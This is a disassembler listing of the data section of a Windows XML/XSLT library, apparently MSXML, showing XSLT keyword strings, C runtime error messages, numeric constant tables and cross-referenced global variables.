		dd offset dword_69B9B318
		align 10h
		dd offset off_69B29B6C
		dd offset dword_69B9B310
		dd 1
		dd offset off_69B29B98
		dd offset dword_69B9B308
		align 8
		dd offset off_69B29BB0
		dd offset dword_69B9B300
		dd 1, 3	dup(0)
dbl_69B9A3D0	dq 1.0			; DATA XREF: sub_69B6C1E9+F9r
dbl_69B9A3D8	dq 2.6			; DATA XREF: sub_69B6C1E9+11Fr
off_69B9A3E0	dd offset aMicrosoft	; DATA XREF: sub_69B6C1E9+139r
					; "Microsoft"
; LPCWSTR off_69B9A3E4
off_69B9A3E4	dd offset aHttpWww_micros ; DATA XREF: sub_69B6C1E9+153r
					; "http://www.microsoft.com"
; LPCWSTR off_69B9A3E8
off_69B9A3E8	dd offset aXslVersion	; DATA XREF: sub_69B6C1E9+E7r
					; "xsl:version"
; LPCWSTR off_69B9A3EC
off_69B9A3EC	dd offset aMsxslVersion	; DATA XREF: sub_69B6C1E9:loc_69B6C2F6r
					; "msxsl:version"
; LPCWSTR off_69B9A3F0
off_69B9A3F0	dd offset aXslVendor	; DATA XREF: sub_69B6C1E9:loc_69B6C310r
					; "xsl:vendor"
; LPCWSTR off_69B9A3F4
off_69B9A3F4	dd offset aXslVendorUrl	; DATA XREF: sub_69B6C1E9:loc_69B6C32Ar
					; "xsl:vendor-url"
dword_69B9A3F8	dd 0				dd 5, 0
		dd 3, 5, 2 dup(3), 1, 5, 2 dup(3), 5, 0
; LPCWSTR off_69B9A42C
off_69B9A42C	dd offset aYes		; DATA XREF: sub_69B6FF5F+7r
					; sub_69B6FF5F+45r ...
					; "yes"
; LPCWSTR off_69B9A430
off_69B9A430	dd offset aNo		; DATA XREF: sub_69B6FF5F:loc_69B6FF7Dr
					; sub_69B6FF5F+36r ...
					; "no"
; LPCWSTR off_69B9A434
off_69B9A434	dd offset aAscending	; DATA XREF: sub_69B6FF03:loc_69B6FF1Ar
					; sub_69B6FF03+3Fr
					; "ascending"
; LPCWSTR off_69B9A438
off_69B9A438	dd offset aDescending	; DATA XREF: sub_69B6FF03r
					; sub_69B6FF03+30r
					; "descending"
; LPCWSTR off_69B9A43C
off_69B9A43C	dd offset aText		; DATA XREF: sub_69B6FFC1r
					; sub_69B6FFC1+44r
					; "text"
; LPCWSTR off_69B9A440
off_69B9A440	dd offset aNumber	; DATA XREF: sub_69B6FFC1:loc_69B6FFD8r
					; sub_69B6FFC1+35r
					; "number"
		align 8
; LPCWSTR off_69B9A448
off_69B9A448	dd offset a1_0		; DATA XREF: sub_69B6F483:loc_69B6F4FFr
					; "1.0"
		align 10h
off_69B9A450	dd offset off_69B29CEC	; DATA XREF: sub_69B6DF3C+B9o
		dd offset dword_69B9B610
		dd 1
		dd offset off_69B29D10
		dd offset dword_69B9B608
		dd 1
		dd offset off_69B29D2C
		dd offset dword_69B9B600
		dd 1
		dd offset off_69B29D50
		dd offset dword_69B9B5F8
		dd 1
		dd offset off_69B29D74
		dd offset dword_69B9B5F0
		dd 1
		dd offset off_69B29DA4
		dd offset dword_69B9B5E8
		dd 1
		dd offset off_69B29DC4
		dd offset dword_69B9B5E0
		dd 1
		dd offset off_69B29DDC
		dd offset dword_69B9B5D8
		dd 1
		dd offset off_69B29E00
		dd offset dword_69B9B5D0
		dd 1
		dd offset off_69B29E1C
		dd offset dword_69B9B5C8
		dd 1
		dd offset off_69B29E3C
		dd offset dword_69B9B5C0
		dd 1
		dd offset off_69B29E60
		dd offset dword_69B9B5B8
		dd 1
		dd offset off_69B29E80
		dd offset dword_69B9B5B0
		dd 1
		dd offset off_69B29EA4
		dd offset dword_69B9B5A8
		dd 1
		dd offset off_69B29EE4
		dd offset dword_69B9B5A0
		dd 1
		dd offset off_69B29F00
		dd offset dword_69B9B598
		dd 1
		dd offset off_69B29F1C
		dd offset dword_69B9B590
		dd 1
		dd offset off_69B29F3C
		dd offset dword_69B9B588
		dd 1
		dd offset off_69B29F60
		dd offset dword_69B9B580
		dd 1
		dd offset off_69B29F7C
		dd offset dword_69B9B578
		dd 1
		dd offset off_69B29FA4
		dd offset dword_69B9B570
		dd 1
		dd offset off_69B29FC4
		dd offset dword_69B9B568
		dd 1
		dd offset off_69B29FE4
		dd offset dword_69B9B560
		dd 1
		dd offset off_69B2A01C
		dd offset dword_69B9B558
		dd 1
		dd offset off_69B2A038
		dd offset dword_69B9B550
		dd 1
		dd offset off_69B2A060
		dd offset dword_69B9B548
		dd 1
		dd offset off_69B2A078
		dd offset dword_69B9B540
		dd 1
		dd offset off_69B2A098
		dd offset dword_69B9B538
		dd 1
		dd offset off_69B2A0B8
		dd offset dword_69B9B530
		dd 1
		dd offset off_69B2A0D4
		dd offset dword_69B9B528
		dd 1
		dd offset off_69B2A0F8
		dd offset dword_69B9B520
		dd 1
		dd offset off_69B6E0E8
		dd offset dword_69B9B518
		align 10h
		dd offset off_69B2A118
		dd offset dword_69B9B508
		dd 0
		dd offset off_69B2A134
		dd offset dword_69B9B500
		align 8
		dd offset off_69B2A150
		dd offset dword_69B9B4F8
		dd 0
		dd offset off_69B2A174
		dd offset dword_69B9B4F0
		align 10h
		dd offset off_69B2A190
		dd offset dword_69B9B4E8
		dd 0
		dd offset off_69B2A1B4
		dd offset dword_69B9B4E0
		align 8
		dd offset off_69B2A1D8
		dd offset dword_69B9B4D8
		dd 0
		dd offset off_69B2A1F4
		dd offset dword_69B9B4D0
		align 10h
		dd offset off_69B2A214
		dd offset dword_69B9B450
		dd 0
		dd offset off_69B2A234
		dd offset dword_69B9B448
		align 8
		dd offset off_69B2A25C
		dd offset dword_69B9B4C8
		dd 0
		dd offset off_69B2A28C
		dd offset dword_69B9B4C0
		align 10h
		dd offset off_69B2A2CC
		dd offset dword_69B9B4B8
		dd 0
		dd offset off_69B2A2E8
		dd offset dword_69B9B4B0
		align 8
		dd offset off_69B2A30C
		dd offset dword_69B9B4A8
		dd 0
		dd offset off_69B2A328
		dd offset dword_69B9B4A0
		align 10h
		dd offset off_69B2A34C
		dd offset dword_69B9B498
		dd 0
		dd offset off_69B2A368
		dd offset dword_69B9B490
		align 8
		dd offset off_69B2A39C
		dd offset dword_69B9B488
		dd 0
		dd offset off_69B2A3BC
		dd offset dword_69B9B480
		align 10h
		dd offset off_69B2A3DC
		dd offset dword_69B9B478
		dd 0
		dd offset off_69B2A418
		dd offset dword_69B9B470
		align 8
		dd offset off_69B2A430
		dd offset dword_69B9B468
		dd 0
		dd offset off_69B2A44C
		dd offset dword_69B9B460
		dd 0
		dd offset off_69B29F00
		dd offset dword_69B9B458
		dd 4 dup(0)
off_69B9A708	dd offset aApplyTemplates ; DATA XREF: sub_69B6E1B8+3Ao
					; "apply-templates"
		align 10h
		dd offset aAttribute_2	; "attribute"
		align 8
		dd offset aChoose	; "choose"
		align 10h
		dd offset aComment_1	; "comment"
		align 8
		dd offset aCopy_1	; "copy"
		align 10h
		dd offset aCopyOf	; "copy-of"
		align 8
		dd offset aElement_3	; "element"
		align 10h
		dd offset aForEach	; "for-each"
		align 8
		dd offset aIf		; "if"
		align 10h
		dd offset aInclude_0	; "include"
		align 8
		dd offset aOtherwise	; "otherwise"
		align 10h
		dd offset aOutput_0	; "output"
		align 8
		dd offset aParam	; "param"
		align 10h
		dd offset aProcessingIn_0 ; "processing-instruction"
		align 8
		dd offset aSort		; "sort"
		align 10h
		dd offset aStylesheet_1	; "stylesheet"
		align 8
		dd offset aTemplate	; "template"
		align 10h
		dd offset aText_2	; "text"
		align 8
		dd offset aTransform_0	; "transform"
		align 10h
		dd offset aValueOf	; "value-of"
		align 8
		dd offset aVariable	; "variable"
		align 10h
		dd offset aWhen		; "when"
		align 8
		dd offset aWithParam	; "with-param"
		align 10h
aSoftwareMicros:			; DATA XREF: sub_69B71E06+2Co
		unicode	0, <Software\Microsoft\Internet	Explorer\ActiveX Compatibilit>
		unicode	0, <y>,0
		align 4
aCompatibilityF:			; DATA XREF: sub_69B71E06+81o
		unicode	0, <Compatibility Flags>,0
byte_69B9A860	db 1			; DATA XREF: sub_69B73743+6r
					; sub_69B73743+64w
		align 4
dword_69B9A864	dd 0		off_69B9A868	dd offset dword_69B25D34 ; DATA	XREF: sub_69B74E25+Ar
		dd offset libID
		dd 1, 5	dup(0)
aMdclxvi:				; DATA XREF: sub_69B743F9+1Co
		unicode	0, <MDCLXVI>,0
aMdclxvi_0:				; DATA XREF: sub_69B743F9+25o
		unicode	0, <mdclxvi>,0
byte_69B9A8A8	db 1			; DATA XREF: sub_69B6E209+Ar
		db 1, 2	dup(9)
		db 9,9,9,9,9,0
		align 4
		db 0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0Bh,0
		align 10h
		dd 9090303h, 9090909h, 9, 2 dup(0A0A0A0Ah), 0Ah, 9090707h
		dd 9090909h, 9,	9090404h, 9090909h, 9, 9090606h, 9090909h
		dd 9, 2	dup(0A0A0A0Ah),	0Ah, 2 dup(0A0A0A0Ah), 0Ah, 2 dup(0A0A0A0Ah)
		dd 0Ah,	2 dup(0B0B0B0Bh), 0Bh, 9090808h, 9090909h, 9, 2	dup(0B0B0B0Bh)
		dd 0Bh,	2 dup(0B0B0B0Bh), 0Bh, 2 dup(0B0B0B0Bh), 0Bh, 9090209h
		dd 9090509h, 9,	2 dup(0A0A0A0Ah), 0Ah, 2 dup(0A0A0A0Ah)
		dd 0Ah,	9090505h, 9090909h, 9
dword_69B9A98C	dd 0		off_69B9A990	dd offset dword_69B782C0 ; DATA	XREF: sub_69B7786C+Er
		dd offset libID
		dd 1, 5	dup(0)
a?@:					; DATA XREF: sub_69B7AB78+1D5o
		unicode	0, <%/:?@\>,0
		align 10h
dword_69B9A9C0	dd 0		off_69B9A9C4	dd offset dword_69B25CF4 ; DATA	XREF: sub_69B7D5D4+Er
		dd offset libID
		dd 1, 5	dup(0)
; char ClassName[]
ClassName	db 'XMLMimeWnd',0       ; DATA XREF: sub_69B1E4CF+6671o
					; sub_69B80E07+B9o ...
		align 10h
dword_69B9A9F0	dd 80h		; const	WCHAR asc_69B9A9F4
asc_69B9A9F4:				; DATA XREF: sub_69B82B65:loc_69B82C1Fo
		dw 0Dh
		dw 0Ah
		unicode	0, <>,0
		align 4
aLt_1:					; DATA XREF: sub_69B82B65:loc_69B82BFCo
					; sub_69B831E9:loc_69B8322Fo
		unicode	0, <<>,0
		align 4
; const	WCHAR aGt_1
aGt_1:					; DATA XREF: sub_69B82B65:loc_69B82BF5o
					; sub_69B831E9+3Fo
		unicode	0, <>>,0
		align 4
aQuot_0:				; DATA XREF: sub_69B831E9:loc_69B8323Do
		unicode	0, <">,0
		align 4
; const	WCHAR aAmp_0
aAmp_0:					; DATA XREF: sub_69B82B65:loc_69B82C03o
					; sub_69B831E9:loc_69B83236o
		unicode	0, <&>,0
off_69B9AA30	dd offset sub_69B84D58	; DATA XREF: sub_69B84A5B+2Ar
		align 8
dword_69B9AA38	dd 2							; sub_69B84F8F+25r
off_69B9AA3C	dd offset aR6002FloatingP ; DATA XREF: sub_69B84F8F+E4r
					; sub_69B84F8F+151r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8
		dd offset aR6008NotEnough ; "R6008\r\n-	not enough space for arguments"...
		dd 9
		dd offset aR6009NotEnough ; "R6009\r\n-	not enough space for environme"...
		dd 0Ah
		dd offset aThisApplicatio ; "\r\nThis application has requested	the Ru"...
		dd 10h
		dd offset aR6016NotEnough ; "R6016\r\n-	not enough space for thread da"...
		dd 11h
		dd offset aR6017Unexpecte ; "R6017\r\n-	unexpected multithread lock er"...
		dd 12h
		dd offset aR6018Unexpecte ; "R6018\r\n-	unexpected heap	error\r\n"
		dd 13h
		dd offset aR6019UnableToO ; "R6019\r\n-	unable to open console device\r"...
		dd 18h
		dd offset aR6024NotEnough ; "R6024\r\n-	not enough space for _onexit/a"...
		dd 19h
		dd offset aR6025PureVirtu ; "R6025\r\n-	pure virtual function call\r\n"
		dd 1Ah
		dd offset aR6026NotEnough ; "R6026\r\n-	not enough space for stdio ini"...
		dd 1Bh
		dd offset aR6027NotEnough ; "R6027\r\n-	not enough space for lowio ini"...
		dd 1Ch
		dd offset aR6028UnableToI ; "R6028\r\n-	unable to initialize heap\r\n"
		dd 78h
		dd offset dword_69B2A8A0+34h
		dd 79h
		dd offset dword_69B2A8A0+24h
		dd 7Ah
		dd offset dword_69B2A8A0+14h
		dd 0FCh
		dd offset dword_69B2A8A0+10h
		dd 0FFh
		dd offset dword_69B2A8A0
dword_69B9AAC8	dd 19930520h, 3	dup(0)dword_69B9AAD8	dd 1, 8	dup(0)						; sub_69B8599F+ADo ...
		dd 2 dup(1), 3 dup(0)
		dd offset off_69B9AD64
		align 10h
		dd offset dword_69B2ABA0+12Eh
		dd offset off_69B9ACA8
		dd 0
off_69B9AB2C	dd offset dword_69B9AAD8 ; DATA	XREF: sub_69B84DFA+FBr
					; sub_69B8599F+Br ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	21h dup(0)
byte_69B9AC68	db 1			; DATA XREF: sub_69B1D0A4+8109r
		db 2, 4, 8
		align 10h
byte_69B9AC70	db 2Eh			; DATA XREF: sub_69B851F8+24r
					; .text:69B85239r ...
		align 4
dword_69B9AC74	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_69B9AC8C	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_69B9ACA4	dd 0Ch		off_69B9ACA8	dd offset dword_69B2ABA0+128h ;	DATA XREF: .data:69B9AB24o
		dd offset dword_69B2ABA0+124h
		dd offset dword_69B2ABA0+120h
		dd offset dword_69B2ABA0+11Ch
		dd offset dword_69B2ABA0+118h
		dd offset dword_69B2ABA0+114h
		dd offset dword_69B2ABA0+110h
		dd offset dword_69B2ABA0+108h
		dd offset dword_69B2ABA0+100h
		dd offset dword_69B2ABA0+0F8h
		dd offset dword_69B2ABA0+0ECh
		dd offset dword_69B2ABA0+0E0h
		dd offset dword_69B2ABA0+0D8h
		dd offset dword_69B2ABA0+0CCh
		dd offset dword_69B2ABA0+0C8h
		dd offset dword_69B2ABA0+0C4h
		dd offset dword_69B2ABA0+0C0h
		dd offset dword_69B2ABA0+0BCh
		dd offset dword_69B2ABA0+0B8h
		dd offset dword_69B2ABA0+0B4h
		dd offset dword_69B2ABA0+0B0h
		dd offset dword_69B2ABA0+0ACh
		dd offset dword_69B2ABA0+0A8h
		dd offset dword_69B2ABA0+0A4h
		dd offset dword_69B2ABA0+0A0h
		dd offset dword_69B2ABA0+9Ch
		dd offset dword_69B2ABA0+94h
		dd offset dword_69B2ABA0+88h
		dd offset dword_69B2ABA0+80h
		dd offset dword_69B2ABA0+78h
		dd offset dword_69B2ABA0+0B8h
		dd offset dword_69B2ABA0+70h
		dd offset dword_69B2ABA0+68h
		dd offset dword_69B2ABA0+60h
		dd offset dword_69B2ABA0+54h
		dd offset dword_69B2ABA0+4Ch
		dd offset dword_69B2ABA0+40h
		dd offset dword_69B2ABA0+34h
		dd offset dword_69B2ABA0+30h
		dd offset dword_69B2ABA0+2Ch
		dd offset dword_69B2ABA0+20h
		dd offset dword_69B2ABA0+0Ch
		dd offset dword_69B2ABA0
		dd 409h, 1, 0
dword_69B9AD60	dd 2Eh		off_69B9AD64	dd offset dword_69B9AD60 ; DATA	XREF: sub_69B86D02+15r
					; .data:69B9AB10o ...
off_69B9AD68	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D02+32r
off_69B9AD6C	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D02+4Er
off_69B9AD70	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+1Br
off_69B9AD74	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+38r
off_69B9AD78	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+55r
off_69B9AD7C	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+72r
off_69B9AD80	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+8Fr
off_69B9AD84	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+ACr
off_69B9AD88	dd offset dword_69B9B730 ; DATA	XREF: sub_69B86D61+C8r
		dd 2 dup(7F7F7F7Fh)
off_69B9AD94	dd offset off_69B9AD64	; DATA XREF: sub_69B86D02+Br
					; sub_69B86D02+27r ...
dword_69B9AD98	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_69B9AEF8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_69B87CD5+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
; LPCWSTR off_69B9B054
off_69B9B054	dd offset aSelectionlangu ; DATA XREF: sub_69B8A606:loc_69B8A611r
					; "SelectionLanguage"
; const	WCHAR aXpath
aXpath:					; DATA XREF: sub_69B8A535+3Bo
					; sub_69B8A5B6:loc_69B8A5C6o
		unicode	0, <XPath>,0
; const	WCHAR aXslpattern
aXslpattern:				; DATA XREF: sub_69B8A535:loc_69B8A589o
					; sub_69B8A5B6:loc_69B8A5CDo
		unicode	0, <XSLPattern>,0
		align 10h
; BYTE byte_69B9B080
byte_69B9B080	db 0			; DATA XREF: sub_69B2B309+25o
					; sub_69B2B309+48r
		align 4
		dd 0Dh dup(0)
dword_69B9B0B8	dd 0				align 10h
; const	CHAR String
String		db 0			; DATA XREF: sub_69B2B23E+8o
					; sub_69B2B23E+1Aw ...
		align 4
		dd 40h dup(0)
; HMODULE dword_69B9B1C4
dword_69B9B1C4	dd 0							; sub_69B2B3A0+16w ...
dword_69B9B1C8	dd 0							; sub_69B2B3A0+34w ...
dword_69B9B1CC	dd 0		dword_69B9B1D0	dd 0							; sub_69B2C57E+27w ...
dword_69B9B1D4	dd 0							; sub_69B2C5AF+32r ...
word_69B9B1D8	dw 0			; DATA XREF: sub_69B2C95C+15r
					; sub_69B2C95C+1Fo ...
		align 4
		dd 9 dup(0)
		dd 16h dup(?)
dword_69B9B258	dd ?							; Ordinal8r ...
dword_69B9B25C	dd ?							; sub_69B2DA88+4Ew ...
; LPVOID ppv
ppv		dd ?			; DATA XREF: sub_69B3698Eo
					; sub_69B36CF7+Fr ...
; LPVOID dword_69B9B264
dword_69B9B264	dd ?							; sub_69B39C17+3Dr ...
dword_69B9B268	dd ?							; sub_69B3B3B6+21w ...
; __int32 dword_69B9B26C
dword_69B9B26C	dd ?		; __int32 dword_69B9B270
dword_69B9B270	dd ?							; sub_69B5A89E+2Dr ...
		align 8
; __int32 dword_69B9B278
dword_69B9B278	dd ?							; sub_69B6227E+7r ...
		align 10h
; __int32 dword_69B9B280
dword_69B9B280	dd ?							; sub_69B61F42+12Co
		align 8
; __int32 dword_69B9B288
dword_69B9B288	dd ?							; sub_69B61F42+114o
		align 10h
; __int32 dword_69B9B290
dword_69B9B290	dd ?							; sub_69B61F42+FCo
		align 8
; __int32 dword_69B9B298
dword_69B9B298	dd ?							; sub_69B61F42+E4o
		align 10h
; __int32 dword_69B9B2A0
dword_69B9B2A0	dd ?							; sub_69B60689+65r ...
		align 8
; __int32 dword_69B9B2A8
dword_69B9B2A8	dd ?							; sub_69B60689:loc_69B606FFr ...
		align 10h
; __int32 dword_69B9B2B0
dword_69B9B2B0	dd 2 dup(?)	; __int32 dword_69B9B2B8
dword_69B9B2B8	dd ?							; sub_69B6229B+2Dr
		align 10h
; __int32 dword_69B9B2C0
dword_69B9B2C0	dd ?							; sub_69B61F42+6Co ...
		align 8
; __int32 dword_69B9B2C8
dword_69B9B2C8	dd ?							; sub_69B61F42+54o ...
		align 10h
byte_69B9B2D0	db ?			; DATA XREF: sub_69B61F42+Er
					; sub_69B61F42+35r ...
		align 8
dbl_69B9B2D8	dq ?			; DATA XREF: sub_69B64094r
					; sub_69B64094+13w ...
dbl_69B9B2E0	dq ?			; DATA XREF: sub_69B640BFr
					; sub_69B640BF+13w ...
dbl_69B9B2E8	dq ?			; DATA XREF: sub_69B640EAr
					; sub_69B640EA+13w ...
; __int32 dword_69B9B2F0
dword_69B9B2F0	dd ?							; sub_69B6A68C+69r
		align 8
; __int32 dword_69B9B2F8
dword_69B9B2F8	dd ?							; sub_69B6A68C+29o ...
		align 10h
dword_69B9B300	dd ?							; .data:69B9A3BCo
		align 8
dword_69B9B308	dd ?							; sub_69B673B0+80r ...
		align 10h
dword_69B9B310	dd ?							; .data:69B9A3A4o
		align 8
dword_69B9B318	dd ?							; .data:69B9A398o
		align 10h
dword_69B9B320	dd ?							; sub_69B6AE56:loc_69B6AE89r ...
		align 8
dword_69B9B328	dd ?							; sub_69B679C0+42r ...
		align 10h
dword_69B9B330	dd ?							; .data:69B9A374o
		align 8
dword_69B9B338	dd ?							; .data:69B9A368o
		align 10h
dword_69B9B340	dd ?							; .data:69B9A35Co
		align 8
dword_69B9B348	dd ?							; .data:69B9A350o
		align 10h
dword_69B9B350	dd ?							; .data:69B9A344o
		align 8
dword_69B9B358	dd ?							; .data:69B9A338o
		align 10h
dword_69B9B360	dd ?							; .data:69B9A32Co
		align 8
dword_69B9B368	dd ?							; .data:69B9A320o
		align 10h
dword_69B9B370	dd ?							; .data:69B9A314o
		align 8
dword_69B9B378	dd ?							; .data:69B9A308o
		align 10h
dword_69B9B380	dd ?							; .data:69B9A2FCo
		align 8
dword_69B9B388	dd ?							; .data:69B9A2F0o
		align 10h
dword_69B9B390	dd ?							; .data:69B9A2E4o
		align 8
dword_69B9B398	dd ?							; .data:69B9A2D8o
		align 10h
dword_69B9B3A0	dd ?							; .data:69B9A2CCo
		align 8
dword_69B9B3A8	dd ?							; .data:69B9A2C0o
		align 10h
dword_69B9B3B0	dd ?							; .data:69B9A2B4o
		align 8
dword_69B9B3B8	dd ?							; .data:69B9A2A8o
		align 10h
dword_69B9B3C0	dd ?							; .data:69B9A29Co
		align 8
dword_69B9B3C8	dd ?							; .data:69B9A290o
		align 10h
dword_69B9B3D0	dd ?							; .data:69B9A284o
		align 8
dword_69B9B3D8	dd ?							; .data:69B9A278o
		align 10h
dword_69B9B3E0	dd ?							; .data:69B9A26Co
		align 8
dword_69B9B3E8	dd ?							; .data:69B9A260o
		align 10h
dword_69B9B3F0	dd ?							; .data:69B9A254o
		align 8
dword_69B9B3F8	dd ?							; .data:69B9A248o
		align 10h
dword_69B9B400	dd ?							; .data:69B9A23Co
		align 8
dword_69B9B408	dd ?							; .data:69B9A230o
		align 10h
dword_69B9B410	dd ?							; .data:69B9A224o
		align 8
dword_69B9B418	dd ?							; .data:69B9A218o
		align 10h
dword_69B9B420	dd ?							; .data:69B9A20Co
		align 8
dword_69B9B428	dd ?							; .data:69B9A200o
		align 10h
dword_69B9B430	dd ?							; .data:69B9A1F4o
		align 8
dword_69B9B438	dd 2 dup(?)	dword_69B9B440	dd ?							; .data:69B9A1DCo
		align 8
dword_69B9B448	dd 2 dup(?)	dword_69B9B450	dd 2 dup(?)	dword_69B9B458	dd 2 dup(?)	dword_69B9B460	dd 2 dup(?)	dword_69B9B468	dd ?							; sub_69B7624E+92r ...
		align 10h
dword_69B9B470	dd ?							; sub_69B7624E+124r ...
		align 8
dword_69B9B478	dd ?							; sub_69B7624E+101r ...
		align 10h
dword_69B9B480	dd ?							; sub_69B7624E+AEr ...
		align 8
dword_69B9B488	dd ?							; sub_69B7521B:loc_69B75291r ...
		align 10h
dword_69B9B490	dd ?							; sub_69B75178+21r ...
		align 8
dword_69B9B498	dd ?							; .data:69B9A694o
		align 10h
dword_69B9B4A0	dd ?							; sub_69B727D0+30r ...
		align 8
dword_69B9B4A8	dd ?							; sub_69B73101:loc_69B731CBr ...
		align 10h
dword_69B9B4B0	dd ?							; sub_69B73101:loc_69B73196r ...
		align 8
dword_69B9B4B8	dd ?							; sub_69B759A1r ...
		align 10h
dword_69B9B4C0	dd ?							; .data:69B9A658o
		align 8
dword_69B9B4C8	dd ?							; .data:69B9A64Co
		align 10h
dword_69B9B4D0	dd ?							; .data:69B9A628o
		align 8
dword_69B9B4D8	dd ?							; sub_69B73078+3r ...
		align 10h
dword_69B9B4E0	dd ?							; .data:69B9A610o
		align 8
dword_69B9B4E8	dd ?							; sub_69B73499+21r ...
		align 10h
dword_69B9B4F0	dd ?							; .data:69B9A5F8o
		align 8
dword_69B9B4F8	dd ?							; .data:69B9A5ECo
		align 10h
dword_69B9B500	dd ?							; sub_69B750B7+76r ...
		align 8
dword_69B9B508	dd ?							; sub_69B701AA+4Ar ...
		align 10h
; __int32 dword_69B9B510
dword_69B9B510	dd ?							; sub_69B6F483:loc_69B6F4EDr
		align 8
dword_69B9B518	dd ?							; sub_69B6F483+32r ...
		align 10h
dword_69B9B520	dd ?							; .data:69B9A5BCo
		align 8
dword_69B9B528	dd ?							; .data:69B9A5B0o
		align 10h
dword_69B9B530	dd ?							; sub_69B7267F:loc_69B72734r ...
		align 8
dword_69B9B538	dd ?							; .data:69B9A598o
		align 10h
dword_69B9B540	dd ?							; .data:69B9A58Co
		align 8
dword_69B9B548	dd ?							; .data:69B9A580o
		align 10h
dword_69B9B550	dd ?							; .data:69B9A574o
		align 8
dword_69B9B558	dd ?							; .data:69B9A568o
		align 10h
dword_69B9B560	dd ?							; .data:69B9A55Co
		align 8
dword_69B9B568	dd ?							; .data:69B9A550o
		align 10h
dword_69B9B570	dd ?							; .data:69B9A544o
		align 8
dword_69B9B578	dd ?							; sub_69B74E98+6r ...
		align 10h
dword_69B9B580	dd ?							; sub_69B7267F+E9r ...
		align 8
dword_69B9B588	dd ?							; sub_69B7267F+81r ...
		align 10h
dword_69B9B590	dd ?							; sub_69B73101+9r ...
		align 8
dword_69B9B598	dd ?							; .data:69B9A508o
		align 10h
dword_69B9B5A0	dd ?							; .data:69B9A4FCo
		align 8
dword_69B9B5A8	dd ?							; .data:69B9A4F0o
		align 10h
dword_69B9B5B0	dd ?							; .data:69B9A4E4o
		align 8
dword_69B9B5B8	dd ?							; .data:69B9A4D8o
		align 10h
dword_69B9B5C0	dd ?							; .data:69B9A4CCo
		align 8
dword_69B9B5C8	dd ?							; .data:69B9A4C0o
		align 10h
dword_69B9B5D0	dd ?							; sub_69B72A73:loc_69B72A9Er ...
		align 8
dword_69B9B5D8	dd ?							; .data:69B9A4A8o
		align 10h
dword_69B9B5E0	dd ?							; .data:69B9A49Co
		align 8
dword_69B9B5E8	dd ?							; .data:69B9A490o
		align 10h
dword_69B9B5F0	dd ?							; .data:69B9A484o
		align 8
dword_69B9B5F8	dd ?							; .data:69B9A478o
		align 10h
dword_69B9B600	dd ?							; .data:69B9A46Co
		align 8
dword_69B9B608	dd ?							; sub_69B7267F+59r ...
		align 10h
dword_69B9B610	dd ?							; .data:69B9A454o
		align 8
; __int32 dword_69B9B618
